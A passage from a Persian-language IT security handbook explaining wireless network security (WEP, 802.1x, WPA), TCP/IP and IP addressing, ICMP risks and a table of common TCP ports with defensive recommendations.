دهندة خبري  اگر ميزبان شما يك سرويس. رد را تحت نظر بگي- ١٠٢٤نشدة پايينتر از  و يا حتي تمام پورتهاي استفاده-معمولي 
 آن TFTP ميزبان شما كند و يا بخواهد از سرويس NNTPنباشد و در عين حال يك ميزبان راه دور سعي در اتصال به سرويس 

اه دور را در  آن ميزبان رIPكند و آدرس شود كه تلاش براي اينكار را ثبت مي استفاده نمايد، برنامة ناظر به اينصورت وارد عمل مي
افزايد؛ و يا براي مسدود كردن همة اتصالات از سوي آن ميزبان، يك ضابطة جديد  ميtcpwrapper به ٢٦٤ضابطة ممانعتيك 

توانيد برنامة  آزار هستيد، ميچنانچه نگران مسدود شدن تصادفي يك ميزبان بي. نمايدبه ديوارة آتش مبتني بر ميزبان اضافه مي

                                                                                                                                            
261  Demilitarized Zone 

راندن نفوذگر : هاي آتشين و امنيت اينترنت ديواره"به نام   Rubinو  Cheswick ،Bellovinشوند عبارتند از كتاب  توصيه ميبسياردر اين زمينه كتابهايي كه    ۲۶۲
 .۲۰۰۰سال ، چاپ دوم، "هاي آتشين اينترنتي ساخت ديوار "به نام  Chapmanو  Zwicky ،Cooperكتاب   و،۲۰۰۳، چاپ دوم، سال "مكار
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تعداد زيادي از .  داشته باشد٢٦٥كاوشندي كنيد كه پيش از مسدود كردن يك ميزبان راه دور، نياز به چند ناظر را طوري پيكرب
  .پردازند براي بسترهاي مختلف بصورت آزاد و تجاري وجود دارندناظرهاي اينچنيني كه با پويش به يافتن نقاط حمله مي

  سيم هاي بي شبكه
بر و يا ناممكن اي هزينه  خصوصاً در اماكني كه ايجاد زيرساخت شبكه-سازي  شبكهيك استراتژي بسيار رايج و رو به رشد در 

كنند، كه شامل  پيروي ميIEEE  مؤسسه802.11سيم عموماً از استاندارهاي  هاي بي شبكه. سيم است سازي بي  شبكه-باشد  مي
802.11b ،802.11a 802.11 وgبراي ٢٦٧سيم نقاط دسترسي بي نام سيمِ نوعي، وسايلي به  در يك شبكة بي٢٦٦.شود مي 

اين دستگاهها ممكن است به . شوندنصب مي) مثلاً يك طبقه از يك ساختمان(ها در يك محدودة مشخص  دريافت و انتقال داده
  .ها به خارج از سازمان، در نهايت بايد به مسيريابهاي سازمان متصل گردنديكديگر متصل باشند، اما براي فرستاده شدن بسته

هاي روي شبكه بايد محرمانه باقي بمانند؛ يعني مهاجمان نبايد قادر  داده. سيم وجود دارد حظات زيادي در برپايي يك شبكة بيملا
برداري  بهره) مثل اتصال اينترنتي(سيم بپيوندند و از منابع آن  ها باشند، و از آن گذشته نبايد بتوانند به شبكة بيبه استراق سمع اين داده

  .كنند

 اكثراً قابليتهاي حفاظتي بسيار 802.11bهاي  خصوصاً شبكه. سيم، سابقة خوبي در زمينة امنيت ندارد سازي بي أسفانه شبكهمت
 براي رمزگذاري سطح اتصال ٢٦٨)WEP (هاي سيميپروتكل معادل شبكههرچند يك پروتكل به نام . كنند محدودي ارائه مي

افزار نسبتاً  داده شده كه اين پروتكل حاوي يك نقص اساسي است و مهاجمان با سختاي دارد، اما نشان اكنون کاربرد گسترده هم
اي داده بدست آورند كه بتوانند كليد رمزگذاري را كشف و تمام توانند به اندازه مي) سيم يك رايانة كيفي و يك كارت شبكة بي(اي ساده
دادن اجازة ورود و اتصال تنها به مشتريان  (MACسازي سي مثل غربالترين روشهاي كنترل دسترپراستفاده. ها را آشكار سازند داده
اگرچه فعال .  به سادگي قابل تشخيص و تغيير استMACنيز ضعيف هستند، چراكه ) شده دارندافزاري شناخته سيمي كه آدرسهاي سخت بي

تواند  مي- SSIDردن پخش عمومي ها و خاموش كSSIDفرض  و همچنين تغيير مقدار پيش-كردن همة اين امكانات امنيتي 
سيم ايمن  به برقراري سطح بالاتري از امنيت كمك كند، اما استفاده از همة آنها درکنار هم نيز منجر به ايجاد يك شبكة بي

  .شود  نمي

نتها براي اتصالات ها به استفاده از رمزنگاري انتها به اگيرنده، محرمانگي تنها با الزام سرويس802.11bترِ  هاي قديمي در شبكه
در . مديريت شود captive portalتواند با استفاده از روش آيد و كنترل دسترسي نيز ميبدست مي) SSH يا VPNمثل سيستمهاي (

كند، بجز  نشده را مسدود ميهويت، تمام ترافيك تصديق)كندآل در همة نقاط دسترسي عمل مي كه بطور ايده(اين سيستم يك ديوارة آتش 
رود، و اين برنامه مسئوليت تصديق هويت ايمن كاربران و اطلاع به ديوارة آتش براي دادن اجازة  ميportalافيكي كه به برنامة تر

  .هاي ماشين تأييدشده در يك بازة زماني محدود را برعهده داردعبور به بسته

كنند پروتكل كه از اين استاندارد پيروي ميسيمي  وسايل بي.  عنوان شده استIEEE 802.1xتر در استاندارد يك روش امن
هاي گيرندهسرويس. دهندشده مورد استفاده قرار ميهويتهاي تصديق  را براي تبادل داده٢٦٩(EAP) پذيرتصديق هويت توسعه

نقطة . سال نمايند اوليه را ارEAPهاي  توانند بسته  كنند و در اينحالت تنها مينشده شروع به كار ميسيم در حالت تصديق هويت بي
گيرنده نيز اينبار هويت خود دهد، و سرويس اوليه پاسخ ميEAPگيرنده به آن بستة دسترسي با يك درخواست براي هويت سرويس

نقطة . شودسازي مي پيادهTLSپذيرد كه معمولاً با استفاده از نوعي اين مكالمه روي يك كانال امن صورت مي. نمايدرا ارسال مي

                                                                                                                                            
265  Probe 

هـاي  گريبـانگير شـبكه   802.11بـسياري از مـشكلات   . كننـد مياستفاده  GSM تلفن همراههاي ها از شبكهPDA و  همراهسيم مانند تلفنهاي    ل بي يساير وسا    ۲۶۶
GSM   نوشـتة  ، ۲۰۰۲سـال   "سـيم  در محيطهـاي بـي  نيكيامور مالي الكترو: مخاطرات سيارمديريت : "مراجعه كنيدكتاب زير به  براي اطلاعات بيشتر    .هستندنيز

Tom Kellermann  هانيجبراي بانك: www.worldbank1.org/finance 
267  Wireless Access Points 
268  Wired Equivalent Protocol 
269  Extensible Authentication Protocol 
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 اوليه براي استفاده در WEPدهد، يك كليد  تغيير مي" شدهتصديق"گيرنده را به كند و حالت سرويسهويت را تصديق ميدسترسي 
با تغيير دادن هر از چندگاه كليدها، از . تواند اين كليد را تغيير دهد فرستد، و در طول اتصال نيز مي سيم مي هاي بي رمزگذاري داده

  .شود تكيه دارد جلوگيري مي WEPعداد زيادي بسته با كليد يكسان بروز حملاتي كه بر گرفتن ت

 و نيز قابليت تصديق WEPيك سيستم رمزگذاري بهتر از استاندارد جديدتري است که  ٢٧٠)Wi-Fi) WPAشدة دسترسي حفاظت
ران خانگي و ادارات اين حالت در اصل براي كارب. دهد و يا با استفاده از يك كليد مشترك ارائه مي802.1xهويت از طريق 

مستقر  802.1x مخصوص خود را براي انجام عمليات تصديق هويت RADIUSهاي دهندهكوچكي است كه قادر نيستند سرويس
اي در نقاط دسترسي، موقعيت  توانند از پيكربندي صحيح صافيهاي بستهسيم نيز مي هاي بيهاي سيمي، شبكه مشابه شبكه. كنند

تر ، و ساير روشهاي مشابه براي مستحكم)كه در بهترين حالت در خارج از ديوارة آتش داخلي هستند(هندسة شبكه مناسب نقاط دسترسي در 
  .سيم نيز يك اقدام مفيد است ياب شبكه روي شبكة بياندازي يك سيستم مهاجمراه. كردن امنيت شبكه برخوردار باشند

بعنوان مثال يك اجاق مايكروويو كه در .  قرار دارند٢٧١پارازيتره در معرض سيم هموا هاي بي در پايان توجه داشته باشيد كه شبكه
را مختل سازد، چراكه ) Wi-Fi )802.11سيم مبتني بر فناوري  تواند عمليات يك شبكة بيديوارة آن يك شكاف وجود دارد مي

البته پارازيت منجر به افشاي . كنند استفاده ميGHz 2.4 هردو از بخش يكساني از طيف Wi-Fiسيستمهاي مايكروويو و 
  .سيم را در عمل غيرقابل استفاده سازد تواند شبكة بي شود، ولي به هرحال مي اطلاعات نمي

، كه هر دو توسط "RADIUSامنيت "و " 802.11امنيت "سيم ايمن عبارتند از  هاي بي اندازي شبكهدو كتاب مفيد براي راه
  .اند هانتشارات اوريلي و همكاران به چاپ رسيد

  TCP/IPهاي  شبكه
 روش انتقال پيامها از IP. دارد اي نوين را به هم متصل نگه مي هاي رايانه به مثابه چسبي است كه شبكه) IP(پروتكل اينترنت 

ي ها در اينترنت برا كند كه تمامي رايانهرا تعريف مي" زبان مشترك"سازد و در حقيقت يك  اي به رايانة ديگر را مشخص مي رايانه
  .كنندصحبت كردن از آن استفاده مي

شود، امروز در تمام جهان مورد استفاده قرار دارد و  در اينترنت استفاده مي١٩٨٢، كه از سال IPv4نگارش چهارم پروتكل اينترنت، 
ه هرگز كاربرد  يك پروتكل آزمايشي بود كIPv5. به احتمال زياد سالهاي زيادي پس از اين نيز همچنان مورد استفاده خواهد بود

دهيِ بسيار وسيع و اين پروتكل از مزايايي چون فضاي آدرس.  جديدترين نگارش پروتكل اينترنت استIPv6وسيع پيدا نكرد، و 
 بطور آزمايشي مورد استفاده زياد قرار گرفت و بتدريج نيز IPv6پروتکل  ٢٠٠٣از سال . قابليت ذاتي رمزگذاري برخوردار است

  .شودتر ميكاربرد آن گسترده

 يك  هر بسته. شوند ارسال مي" بسته"تر   و يا به زبان عاميانهdatagramها در اينترنت بصورت بلوكهايي از كاراكترها به نام  داده
بدنبال . سازدگويند و فرستنده و مقصد نهايي بسته را مشخص ميمي" سرآيند"بلوك داده متشكل از چند بايت دارد كه به آن 

رسند، ها به مقصد خود مي پس از آنكه بسته. ي بسته نام دارد"محتوا"گيرد كه   يك بلوك بزرگتر از بايتها قرار ميسرآيند معمولاً
آوري قطعه شدن و گردهمشوند؛ و البته اين فرآيند قطعه مي٢٧٢آوري مجددگردهمسرهم ها بصورت پشت غالباً در يك رشته از داده

از آنجا كه معمولاً از يك سيستم تا سيستم ديگر مسيرهاي . معمولاً از ديد كاربر پنهان استها مجدد داده با استفاده از بسته
  .متفاوت زيادي وجود دارد، هر بسته ممكن است از مبداء تا مقصد مسير متفاوتي را طي كند

                                                                                                                                            
270  Wi-Fi Protected Access 
271  Jamming 
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هاي  عنوان مثال بسياري از شبكهب. هاي ديگر مربوط به ساير پروتكلهاي شبكه قرار بگيرند توانند در بسته  هم ميIPهاي  خود بسته
IPهاي  شوند در حقيقت بسته كه امروزه با خطوط مستقيم استيجاري ساخته ميIPهايشده در شبكه را بصورت جاسازي  

Frame Relay حالت انتقال ناهمگام يا )ATM(كنند  ارسال مي٢٧٣.  

  IPدهي آدرس

اين آدرسها معمولاً . شود بيتي يكتا نسبت داده مي٣٢دارند يك آدرس  قرار IPv4هاي هايي كه در شبكهبه تمام واسطهاي رايانه
تواند چندين يك رايانه مي.  است18.70.0.224يك نمونة آدرس، . شوند نام دارند بيان ميoctet بيتي كه ٨ عدد ٤بصورت 

يك شبكة محلي متفاوت از اي داشته باشد كه هر كدام آدرس مخصوص به خود را دارند، و ممكن است هريك روي واسط شبكه
  .ديگري باشند

رايانه را به اينترنت  ٢٣٢ = ٤،٢٩٤،٩٦٧،٢٩٦ بيتي در آن واحد اجازة اتصال حداكثر ٣٢از لحاظ نظري، با استفاده از يك آدرس 
استفاده از  است، چراكه با ٢٣٢توانند به اينترنت متصل شوند بسيار بيش از هايي كه ميدهد؛ اما در عمل تعداد كل رايانه مي

هاي چندگانه كه اين رايانه.  مشترك استفاده كنندIPتوانند از يك آدرس  تعداد زيادي رايانه ميNATو ها proxyفناوريهايي چون 
ها به يكديگر اي پيكربندي شوند كه سياستهاي مختلف نحوة اتصال رايانهتوانند بگونهگيرند مي واحد قرار ميIPپشت يك آدرس 

ود كردن هرگونه دسترسي، برقراري دسترسي محدود، و يا برقراري دسترسي نامحدود را در يك يا هر دو جهت ارتباط از جمله مسد
  .سازي و تضمين كنندپياده

 IPهاي شبكه

ها همگي به بزرگي شبكة شركتهاي بزرگي همچون كنند اين شبكههرچند مردم زيادي فكر مي. ها استاي از شبكهاينترنت، شبكه
AT&T ،WorldCom و Sprintهاي محلي هستند، اند در حقيقت شبكههايي كه اينترنت را بوجود آورده هستند، اما بيشتر شبكه

هاي كوچك به هريك از اين شبكه. مثل شبكة درون ساختمان اداري يك سازمان و يا شبكة يك آزمايشگاه كوچك تحقيقاتي
  .شمارة شبكة مخصوصي نسبت داده شده است

با چند بيت پيشوند در آدرس هر ميزبان در شبكه " كلاسيك"هاي شماره شبكه. توان به شمارة شبكه نگاه كردريق ميبه دو ط
. كرد هاي متفاوت تقسيم ميها در اندازهتعريفي از شبكههاي خوشدهي را به مجموعهاين روش فضاي آدرس. شدندمشخص مي

بندي كلاس يا دسته) بيتهاي با ارزش بيشتر( وجود دارد؛ چند بيت اول آدرس IP نوع اصلي آدرس ٥دهي كلاسيك، در روش آدرس
  :شوندتقسيم مي" ميزبان"و " شبكه"كنند، و مابقي بيتها به دو قسمت اي را كه آدرس به آن تعلق دارد تعريف ميشبكه

  Aآدرسهاي كلاس 
.  شمارة ميزبان استa.b.c شمارة شبكه و Nكه در آن  هستند N.a.b.c داراي آدرسهايي با قالب Aهاي كلاس ميزبانهاي شبكه

 زيادي وجود ندارد، چون اين Aهاي كلاس شبكه. بايد صفر باشد) بيت سمت چپ (Nها، با ارزشترين بيت در اين دسته از شبكه
ان نداشته باشد،  ميزب١٦،٧٧٧،٢١٦توان گفت تا زمانيكه كسي در حقيقت مي. شونددهي ميها باعث هدر رفتن فضاي آدرسشبكه

 Aهايي از كلاس شبكه BBN٢٧٤ و MITاما به هر ترتيب بسياري از پيشگامان اينترنت مانند !  نياز نداردAبه يك شبكه كلاس 
دهند و در عوض شبكه داخلي خود را عملاً به هاي خود را در يك شبكة فيزيكي واحد قرار نميمسلماً اين شركتها تمام رايانه. دارند
  .گويند مي٢٧٥سازيزيرشبكهبه اين عمل . كنند تقسيم ميC يا كلاس Bكلاس هاي شبكه

                                                                                                                                            
273  Asynchronous Transfer Mode 
274  Bolt Beranek and Newman 
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  Bآدرسهاي كلاس 
 شمارة ميزبان a.b شمارة شبكه و N.M هستند كه در آن N.M.a.b داراي آدرسهايي با قالب Bهاي كلاس ميزبانهاي شبكه

 معمولاً در دانشگاهها و سازمانهاي بزرگ تجاري Bس هاي كلاشبكه.  باشند10 بايد Nها با ارزشترين دو بيت در اين شبكه. است
  .وجود دارند

  Cآدرسهاي كلاس 
 شمارة ميزبان a شمارة شبكه و N.M.O هستند، كه در آن N.M.O.a داراي آدرسهايي با قالب Cهاي كلاس ميزبانهاي شبكه

 ميزبان را تحت پوشش قرار ٢٥٤نند حداكثر تواها مياين شبكه.  باشد110 بايد Nها با ارزشترين سه بيت در اين شبكه. است
  . دارندC بيشتر سازمانها يك يا چند شبكة كلاس ٢٧٦.دهند

 Dآدرسهاي كلاس 
.  باشد1110 بايد N هستند، اما در آنها با ارزشترين چهار بيت N.M.O.a داراي آدرسهايي با قالب Dهاي كلاس ميزبانهاي شبكه

هايي از اين گروهها مجموعه. باشند ميmulticast نيستند، بلكه مربوط به گروههاي هااين آدرسها در حقيقت متعلق به شبكه
  .كشندميزبانها هستند كه براي دريافت پخشهاي عمومي از يك آدرس مشترك انتظار مي

 Eآدرسهاي كلاس 
.  باشد1111 بايد Nر بيت  هستند و در آنها با ارزشترين چهاN.M.O.P داراي آدرسهايي با قالب Eهاي كلاس ميزبانهاي شبكه

  .انداين آدرسها درحال حاضر براي كاربردهاي آزمايشي ذخيره شده

با افزايش .  داشتند-شدند اي از آدرسها كه هيچگاه استفاده نمي مجموعه-هاي بزرگي بسياري از اين كلاسهاي شبكه، حفره
آدرسهاي شبكه پيشنهاد شد كه در نسبت دادن آدرسها اجازة كوچكيِ ناگهاني تعداد پايگاههاي اينترنتي، يك تعبير نسبتاً متفاوت از 

  . نام دارد٢٧٧)CIDR(ها بندي ميان دامنهمسيريابي بدون طبقهاين روش، . دادبيشتر و درنتيجه هدر رفتن كمتر آدرسها را مي

  ها بوسيلة آن شمارة شبكهآيد، در اين روش چيزي به نام كلاس آدرس وجود ندارد و بجاي همانطور كه از اين نام برمي
. روندشود، و مابقي بيتها بعنوان قسمتي از آدرس كه معرف شمارة ميزبان است بكار مي بيت هر آدرس تعريف ميkباارزشترين 
يت  ب١٨، و )آدرس شبكه( بيت اول آنها يك مقدار ثابت ١٤اي از آدرسها داد كه دهندة سرويس، محدودهتوان به يك ارائه بنابراين مي

 آدرس ٢١٨كند كه بتواند دهندة سرويس را قادر مياين روش ارائه. باقيمانده نمايانگر مقادير موجود براي انتساب به ميزبانها باشند
  .متمايز به مشتريان خود تخصيص دهد

سب بيت به  محدوده، يك علامت مميز، و سپس اندازة قسمت شبكه بر حIP معمولاً با بيان کوچکترين آدرس CIDRهاي شبكه
.  است128.203.255.255 تا 128.200.0.0 از IP نمايانگر تمام آدرسهاي 128.200.0.0/14مثلاً شبكة . آيندنمايش در مي

. باشد  ميnetmask٢٧٨ محدوده، يك علامت مميز، و سپس IPيك روش ديگر براي نمايش اين شبكه بيان کوچکترين آدرس 
  .شود بيان مي128.200.0.0/255.252.0.0مد در اين روش بصورت اي كه در مثال قبل آبعنوان نمونه شبكه

مثلاً ( بيت تشكيل شده ٨ از Aقسمت شبكة آدرسهاي كلاس : دهي كلاسيك سازگار است با قالب آدرسCIDRروش 
  .و مابقي كلاسهاي آدرس نيز به همين منوال) 192.168.0.0/16مثلاً ( بيت ١٦ از B، كلاس )10.0.0.0/8

                                                                                                                                            
  .معتبر را گرفته است IP بعنوان يك آدرس ۲۵۵ يا ۰، جلوي استفاده از IPسازيهاي مختلف اشكالات و ناسازگاريهاي موجود ميان پياده   ۲۷۶

277  Classless Inter-Domain Routing 
 .دارند ۰مقدار  و مابقي بيتها ۱كه نمايانگر شمارة شبكه هستند مقدار بيت با ارزش بيشتر  kن كه در آ IPيك شماره مشابه يك آدرس    ۷۸۲
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  پروتكلهاها و بسته

شوند كه هر نوع  وجود دارد كه روي اينترنت ارسال و توسط ميزبانهاي معمولي ديده ميIPهاي امروزه چهار نوع اصلي از بسته
  ).ها بكار روندVPNاصلي اينترنت و يا هاي شاهراهها توسط مسيريابهاي روي ممكن است انواع ديگر بسته. (بسته مربوط به پروتكل خاصي است

ICMP   
 -  مثلاً تبادل اطلاعات ترافيك و مسيريابي - IPاين پروتكل براي اعمال سطح پايين پروتكل . ٢٧٩پروتكل پيام كنترلي اينترنت

  .رود و زيرنوعهاي زيادي نيز داردبكار مي

TCP   
 پروتكل از برقراري اين. اين پروتكل براي ايجاد يك اتصال دوطرفة جرياني ميان دو رايانه كاربرد دارد. ٢٨٠پروتكل كنترل انتقال
 را نيز در بر ٢٨٢انتقال مجدد و ٢٨١اتمام وقتكند و براي تضمين انتقال قابل اطمينان اطلاعات، قابليتهاي اتصال استفاده مي

  .گيرد مي

UDP   
  اين پروتكل . رودها از يك ميزبان به ميزبان ديگر بكار مياين پروتكل براي فرستادن بسته. ٢٨٣ كاربرdatagramپروتكل 

شود و براي اطمينان از انتقال پيام مكانيزم خاصي اين پروتكل از لحاظ نظري قابل اطمينان محسوب نمي.  است٢٨٤ون اتصالبد
  .رسندها به مقصد ميندارد، اما در شرايط معمولي اكثر بسته

IGMP   
عمدي يك بسته به بيش از يك  كاربرد دارد، كه فرستادن تmulticastاين پروتكل در كنترل . ٢٨٥پروتكل مديريت گروه اينترنت

  .باشد مي- MBONE -اي اينترنت هاي چندرسانه پايه و اساس شاهراهMulticast. ميزبان است

ICMP   

. ها و ميزبانها براي اعمال سطح پايين اينترنت كاربرد دارداين پروتكل در تبادل پيامها ميان دروازه. پروتكل پيام كنترلي اينترنت
واكنش به يك بستة . كند براي بررسي اتصال شبكه استفاده ميICMP ٢٨٦پژواكهاي  از بستهpingالعمل بعنوان مثال دستور

  . مبتني بر غيرقابل دسترسي بودن مقصدICMP است و يا يك پيام ICMPپژواك معمولاً يك پاسخ پژواك 

 بيتي ٨ نيز دارد كه يك مقدار ICMPسرآيند  يك ICMP، هر بستة )آدرسهاي مبدأ و مقصد بسته (IPعلاوه بر اطلاعات درون سرآيند 
شوند، و بسياري از آنها همچنان در  ديگر در اينترنت استفاده نميICMPهاي برخي از انواع بسته. باشدكنندة نوع بسته ميمشخص

خواهيم دقيقتر اگر ب. اين مسئله گاهي باعث بروز مشكلات امنيتي نيز شده است. روند بكار ميTCP/IPسازيهاي مختلف پياده
مخاطرات امنيتي به ) هدايت مجدد (٥، و نوع )غيرفعال كردن مبدأ (٤، نوع )اعلام غيرقابل دسترسي بودن مقصد (٣هاي نوع  بگوييم، بسته

تواند ترافيك شبكه را به مقصد دلخواه خود هدايت  بفرستد ميICMPهاي همراه دارند، چون مهاجمي كه بتواند از اين انواع بسته
ها مخاطرات مستقيم چنداني به همراه ندارند، اما نگارشهاي هرچند انواع ديگر بسته. د و يا آغازگر حملات تخريب سرويس باشدكن

توانند از الگوي پاسخها براي يافتن نوع دهند و مهاجمان ميعاملهاي مختلف معمولاً به آنها پاسخهاي يكساني نميمتفاوت سيستم
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 راهنماي امنيت فناوري اطلاعات ٣٩٦ 

كنيد بايد اگر از ديوارة آتش استفاده مي. برداري نمايندشدة آنها بهره و پس از آن از اشكالات شناختهعامل استفاده كنندسيستم
توانيد بدون بوجود آمدن هيچ مشكل جانبي، معمولاً مي.  را مسدود كنيد و يا تحت نظارت قرار دهيدICMPهاي بيشتر انواع بسته

پاسخ  (١٨، و )address maskدرخواست  (١٧، )پاسخ مهر زمان (١٤، )٢٨٧مهر زمانرخواست د (١٣، ٥ از انواع ICMPهاي ورودي  مسير بسته
address mask(هاي خروجي ، و نيز بستهICMP ١١، ٥ از انواع) را ببنديد١٨، و ١٧، ١٤، ١٣، )مشكل آرگومان (١٢، )اتمام وقت .  

TCP   

TCPان دو برنامه كه روي يك رايانة واحد يا دو رايانة مختلف به  يك جريان انتقال قابل اطمينان، با حفظ ترتيب و دوطرفه مي
رسد شده حتماً به مقصد خود ميشود هر بايت فرستادهبه اين معنا است كه تضمين مي" قابل اطمينان. "كنداند ايجاد مياجرا در آمده

گردند كه فرستاده ر مقصد به همان ترتيبي دريافت مي، و نيز اينكه بايتها د)شويدو درصورت عدم موفقيت نيز حتماً شما از آن مطلع مي(
نشده به مقصد نخواهند رسيد، مگر آنكه يك مسير واضح است كه اگر ارتباط بصورت فيزيكي قطع شود، بايتهاي منتقل. اندشده

ه يا گيرنده يك پيغام خطا  بايد به پردازة فرستندTCPشده از سازي انجامدر چنين حالتي، پياده. جايگزين براي آن مقصد پيدا شود
  .دهد، نه اينكه وانمود كند كه ارتباط هنوز از كارايي برخوردار است

در بيشتر . شوند بيتي مشخص مي١٦هاي شود و پورتها با شماره در هريك از دو سر خود به يك پورت متصل ميTCPهر اتصال 
كند كه به آن سرويس خود از همان شمارة پورتي استفاده ميدهنده براي هريك از خدمات ، سرويسTCPسازيهاي پروتكل پياده

بعضي شماره پورتهاي . شودگيرنده نيز براي هريك از اتصالات بصورت تصادفي معين مينسبت داده شده، و شمارة پورت سرويس
  .SMTPهاي دهنده براي سرويس٢٥ و پورت HTTPهاي دهنده براي سرويس٨٠معروف عبارتند از پورت 

اين سرآيند شامل چند .  به آنها اضافه شده استTCP هستند كه يك سرآيند IPهاي  همان بستهTCPهاي روي سيم، بستهدر 
  :اطلاعات ديگر نيز هست، از جمله

  مبدأ بسته،TCPشماره پورت  •
  مقصد بسته،TCPشماره پورت  •
  قرار دهد،TCPود در رشتة اطلاعات رديف، بطوريكه گيرنده بتواند محتويات بسته را در موقعيت درست خ •
  و٢٨٨تواند دريافت كند،دهد فرستندة بسته چند بايت ديگر مياطلاعات كنترل جريان، كه به گيرنده اطلاع مي •
 .TCP ٢٨٩سرجمع •

  : بيتي مشخص كرد١٦ بيتي و دو عدد ٣٢توان با دو عدد  روي اينترنت را ميTCP از نوع IPv4در هر لحظه، هر اتصال 

  ؛)IPاز سرآيند (دكنندة اتصال آدرس ميزبان ايجا •
  ؛)TCPاز سرآيند (شماره پورت ايجادكنندة اتصال  •
  ؛ و)IPاز سرآيند (آدرس ميزبان مقصد اتصال  •
  ).TCPاز سرآيند (شماره پورت مقصد اتصال  •

جديد  بمنظور ارسال درخواست براي ايجاد اتصالهاي ACK و SYN از دو بيت بخصوص در سرآيد بسته به نامهاي TCPپروتكل 
فرستد كه در  كننده يك بسته به ميزبان گيرندة درخواست مي، ميزبان درخواستTCPبراي بازكردن يك اتصال . كنداستفاده مي

پس از آن ميزبان گيرندة درخواست با پس فرستادن يك بسته كه در آن هر .  را دارد٠ مقدار ACK و بيت ١ مقدار SYNآن بيت 
فرستد كه در آن كند؛ و در پايان نيز ميزبان اول يك بستة سوم ميند اين درخواست را تأييد مي دار١ مقدار ACK و SYNدو بيت 

                                                                                                                                            
287  Timestamp 

  .دگوينمي "TCP ةپنجر"به اين عدد   ۲۸۸
289  Checksum 
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با جستجو بدنبال . گويند ميTCP٢٩٠اي مرحلهدست دادن سهبه اين روند، .  دارد٠ مقدار SYN ولي بيت ١ مقدار ACKبيت 
هاي مربوط به درخواست اتصال جديد را توان بستهندارد مي مقدار ACK مقدار دارد ولي SYNهايي كه در سرآيند آنها بيت بسته

هاي آتش اين تفاوت هنگام ساختن ديواره. شوند تشخيص دادهايي كه در پاسخ به اتصالات از قبل ايجادشده فرستاده مياز بسته
  .آيدها بكار ميكنندة بستهغربال

TCPبعنوان . رود همگام يك جريان داده در يك يا دو جهت دارند بكار مي در بيشتر خدمات اينترنتي كه نياز به انتقال پايدار و
، خدمات پايانة راه دور، انتقال فايل، پست الكترونيكي، و همچنين براي فرستادن دستورات به HTTP در پروتكل TCPمثال 

 منتسب به تعدادي از خدمات الف پورتهاي-٥در جدول . كنند كاربرد دارد استفاده ميX-Windowsنمايشگرهايي كه از سيستم 
برداري كشف شده، كه در مقابل در بيشتر اين خدمات، مشكلات امنيتي بزرگ و ضعفهاي قابل بهره.  آمده استTCPمعمول 

  .هريك ذكر شده است

  :بعبارت زير است TCPبندي نگرانيهاي امنيتي خدمات  دسته

  ر داد و حملة تخريب سرويس را آغاز کرد؛توان سرويس را از راه دور مورد سوء استفاده قرا مي  .الف
 ؛)IPv4تحت (ساده و بدون هيچگونه رمزگذاري در اينترنت منتقل شود پروتكل نياز دارد كه رمز عبور بصورت متن  .ب 
، يكي از عوامل اصلي پخش مجدد هاproxy، و CGIهاي برنامه، قطعهSMTPهاي دهندهپيكربندي نادرست سرويس  .ج 

emailاينترنت هستند؛ وهاي ناخواسته در  
 استفاده كند، و اين مسئله در معرض تهديد IPبراي تصديق هويت از آدرسهاي اي پيكربندي شده كه گونهسرويس معمولاً ب  .د 

 . باشدسازي و ساير انواع مشابه حملات ميگمراه
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  TCPبرخي از خدمات و پورتهاي معمول . الف-٥جدول 

  يشنهاد وضعيت استفادهپ  نگرانيها  عملكرد  نام سرويس TCPپورت 
٧  echo  غيرفعال كنيد  الف  )براي آزمايش(پژواك كاراكترها  
٩  discard  براي آزمايش(حذف كاراكترها(     
١٣  daytime غيرفعال كنيد  الف  گرداند ساعات روز را برمي  
١٩  chargen غيرفعال كنيد الف  مولد كاراكتر  
٢١  ftp از غيرفعال كنيد؛   ب  پروتكل انتقال فايلhttp يا sshاستفاده نماييد   
٢٢  ssh  شود شديداً توصيه مي    )پايانه و انتقال فايل مجازي(پوستة ايمن  
٢٣  telnet غيرفعال كنيد؛ از   ب  پايانة مجازيsshاستفاده نماييد   
٢٥  smtp ج  پست الكترونيكي   
٣٧  time  غيرفعال كنيد الف  گرداند ساعات روز را برمي  
٤٢  nameserver  ويس نام سرTCP     
٤٣  whois  سرويسNIC whois      
٥٣  domain  سرويس نام دامنه(DNS) د    
٧٩  finger غيرفعال كنيد    اطلاعات كاربر  
٨٠  http   شبكه وب جهاني(WWW) ب، ج   

١١٠  pop3   پروتكل دفتر پستي(POP3)  ساده را غيرفعال كنيد، يا رمزهاي عبور متن  ب
  اده نماييد استفTLS روي POPبجاي آن از 

١١١  sunrpc  فراخواني از راه دور)RPC (شركتSun  دسترسي را محدود كنيد  د  

١١٣  auth هاي رمزشده  اي استفاده كنيد كه نشانه از نسخه    سرويس تصديق هويت نام كاربر از راه دور
  )پايين را ببينيد(گرداند برمي

١١٩  nntp  پروتكل انتقال خبرهاي شبكه)Usenet(  ترسي را محدود كنيددس  ب، د  

١٤٣  Imap  ساده را غيرفعال كنيد، يا رمزهاي عبور متن  ب  پروتكل دسترسي تعاملي به پست الكترونيكي
  استفاده نماييدTLS روي IMAPبجاي آن از 

٤٤٣  https HTTP رمزشده با SSL      
٥١٢  exec  اجراي فرمان روي يك ميزبانUnixغيرفعال كنيد     از راه دور  
٥١٣  login  ورود به يك ميزبانUnix راه دور )rlogin(  غيرفعال كنيد  ب، د  
٥١٤  shell   ساختن پوسته در ميزبانUnix راه دور )rsh(  غيرفعال كنيد  ب، د  
٥١٥  printer  دسترسي را محدود كنيد  د  چاپ از راه دور  
١٠٨٠  socks   خدماتproxy اي برنامهSOCKS  دسترسي را محدود كنيد  ج  
٢٠٤٩  NFS  NFS روي TCP  دسترسي را محدود كنيد  د  

 يك SSHدسترسي را محدود كنيد، بوسيلة   ب، د X-Windowsسيستم  X  ٦٠٠٠ تا ٦٠١٠
  تونل بسازيد

UDP     

UDP سيستمي ساده و غيرقابل اطمينان براي ارسال داده ميان دو يا چند برنامه روي يك يا چند رايانة مشابه يا متفاوت ارائه 
شده حتماً در مقصد تحويل داده كند هر بستة ارسالعامل تضمين نميبه اين معني است كه سيستم" بل اطمينانغيرقا. "دهد مي

 بهترين تلاش خود را براي رساندن UDPشوند به مقصد برسند؛ اما به هر حال ها به همان ترتيبي كه ارسال ميشود، و يا بسته
ها را به مقصد بسته% ١٠٠ نزديك به UDPك شبكة محلي يا يك مسير خلوت، معمولاً روي ي. آوردها به مقصد بعمل ميبسته
دهد كه  اجازه ميUDP اين سربار كمتر به خدمات مبتني بر - است TCP كمتر آن نسبت به ٢٩١سربار، UDPمزيت . رساندمي
